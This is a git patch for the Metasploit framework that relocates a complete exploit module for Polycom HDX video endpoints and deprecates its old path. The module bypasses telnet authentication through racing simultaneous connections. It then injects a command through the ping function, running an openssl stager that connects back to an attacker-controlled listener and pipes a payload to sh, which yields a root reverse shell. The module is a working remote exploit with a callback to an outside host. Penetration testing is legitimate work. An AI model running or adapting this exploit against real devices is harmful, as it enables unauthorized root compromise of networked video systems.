From fdf45f269b93a62f8111b5e8c370da56db044a4b Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 4 Nov 2018 06:14:26 +0000 Subject: [PATCH] Move polycom_hdx_auth_bypass to exploit/unix/misc/ --- .../unix/misc/polycom_hdx_auth_bypass.rb | 246 ++++++++++++++++++ .../exploits/unix/polycom_hdx_auth_bypass.rb | 3 + 2 files changed, 249 insertions(+) create mode 100644 modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb diff --git a/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb b/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb new file mode 100644 index 0000000000..f53b3d776f --- /dev/null +++ b/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb @@ -0,0 +1,246 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Polycom Command Shell Authorization Bypass', + 'Alias' => 'polycom_hdx_auth_bypass', + 'Author' => + [ + 'Paul Haas ', # module + 'h00die ', # submission/cleanup + ], + 'DisclosureDate' => 'Jan 18 2013', + 'Description' => %q( + The login component of the Polycom Command Shell on Polycom HDX + video endpoints, running software versions 3.0.5 and earlier, + is vulnerable to an authorization bypass when simultaneous + connections are made to the service, allowing remote network + attackers to gain access to a sandboxed telnet prompt without + authentication. Versions prior to 3.0.4 contain OS command + injection in the ping command which can be used to execute + arbitrary commands as root. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], + [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], + [ 'EDB', '24494'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd' } + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(23), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) + ], self.class + ) + register_advanced_options( + [ + OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), + OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) + ], self.class + ) + end + + def check + connect + sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") + Rex.sleep(1) + res = sock.get_once + disconnect + + if !res && !res.empty? + return Exploit::CheckCode::Safe + end + + if res =~ /Welcome to ViewStation/ + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + # Keep track of results (successful connections) + results = [] + + # Random string for password + password = Rex::Text.rand_text_alpha(rand(5) + 1) + + # Threaded login checker + max_threads = datastore['THREADS'] + cur_threads = [] + + # Try up to 100 times just to be sure + queue = [*(1..datastore['MAX_CONNECTIONS'])] + + print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") + until queue.empty? + while cur_threads.length < max_threads + + # We can stop if we get a valid login + break unless results.empty? + + # keep track of how many attempts we've made + item = queue.shift + + # We can stop if we reach max tries + break unless item + + t = Thread.new(item) do |count| + sock = connect + sock.put(password + "\n") + res = sock.get_once + + until res.empty? + break unless results.empty? + + # Post-login Polycom banner means success + if res =~ /Polycom/ + results << sock + break + # bind error indicates bypass is working + elsif res =~ /bind/ + sock.put(password + "\n") + # Login error means we need to disconnect + elsif res =~ /failed/ + break + # To many connections means we need to disconnect + elsif res =~ /Error/ + break + end + res = sock.get_once + end + end + + cur_threads << t + end + + # We can stop if we get a valid login + break unless results.empty? + + # Add to a list of dead threads if we're finished + cur_threads.each_index do |ti| + t = cur_threads[ti] + unless t.alive? + cur_threads[ti] = nil + end + end + + # Remove any dead threads from the set + cur_threads.delete(nil) + + Rex.sleep(0.25) + end + + # Clean up any remaining threads + cur_threads.each { |sock| sock.kill } + + if !results.empty? + print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") + do_payload(results[0]) + else + print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") + end + end + + def do_payload(sock) + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 + cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" + sock.put(cmd) + + # Give time for our command to be queued and executed + 1.upto(5) do + Rex.sleep(1) + break if session_created? + end + end + + def stage_final_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + comm = datastore['ListenerComm'] + if comm == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + + self.service.on_client_connect_proc = proc { |client| + stage_final_payload(client) + } + + # Start the listening service + self.service.start + end + + # Shut down any running services + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.is_a?(Rex::Service) + if self.service.is_a?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + # Accessor for our TCP payload stager + attr_accessor :service +end diff --git a/modules/exploits/unix/polycom_hdx_auth_bypass.rb b/modules/exploits/unix/polycom_hdx_auth_bypass.rb index f53b3d776f..20be3ab449 100644 --- a/modules/exploits/unix/polycom_hdx_auth_bypass.rb +++ b/modules/exploits/unix/polycom_hdx_auth_bypass.rb @@ -7,6 +7,9 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2018, 11, 04), 'exploit/unix/misc/polycom_hdx_auth_bypass') def initialize(info = {}) super(